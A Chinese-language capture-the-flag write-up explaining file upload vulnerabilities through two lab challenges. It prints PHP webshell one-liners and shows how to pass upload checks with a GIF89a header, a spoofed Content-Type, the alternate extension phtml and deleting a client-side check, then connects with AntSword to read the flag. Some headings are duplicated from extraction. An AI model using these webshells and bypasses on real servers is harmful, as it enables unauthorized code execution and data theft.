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前言前言

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，

恶意脚本或者WebShell等。

由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可

执行的动态脚本文件。

一、[极客大挑战 2019]Upload1（客户端验证）

二，[ACTF2020 新生赛]Upload1（前端验证+后端验证）

一、一、[极客大挑战极客大挑战 2019]Upload1（客户端验证）（客户端验证）

         

（1）提示的是图片上传，格式就是图片格式

（2)先上传一句话木马，这里是phtml格式的，对.phtml文件的解释: 是一个嵌入了PHP脚本的html         页面。
（还有PHP代码的，如下面，但是在这里输入不行，表达意思一样的）

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查，这道题中有无皆可
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

<?php @eval($_POST['shell'];?>
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 （3）直接上传则出现

 4）就是我们上传的是文件，不是它要求的图片，格式不对，直接抓包

 5）更改这个Content-Type为image/jpeg，即是我们上传的文件格式绕过，这里PHP格式也不行，       一直试到
phtml可以（绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht）

 6）现在需要知道图片的保存路径了，一般都是/upload查找含有的文件，访问一下



 7）或者直接uplode/filename指定文件，直接打开文件，可以看到flag

8）还有就是使用蚁剑，还是要直接网址/upload/filename，密码就是木马POST里面的



 9）然后找到文件,里面就是flag

二，二，[ACTF2020 新生赛新生赛]Upload1（前端验证（前端验证+后端验证）后端验证）

1)直接做题，上传text.phtml

 2)也是文件限制，打开源代码



 3）发现return checkFile(),这个函数把其他格式文件都限制了，只允许这三种格式，我们把这个          return
checkFile()删去，继续上传

4）如果是PHP文件，发现也是不能上传的，说明后端也有验证，直到phtml

 5）上传成功，给出了/uplo4d/......，直接加在网址上出现错误

6）使用蚁剑，在连接网址的时候，加上/uplo4d/4a，，，，，，,然后找到对应的flag文件
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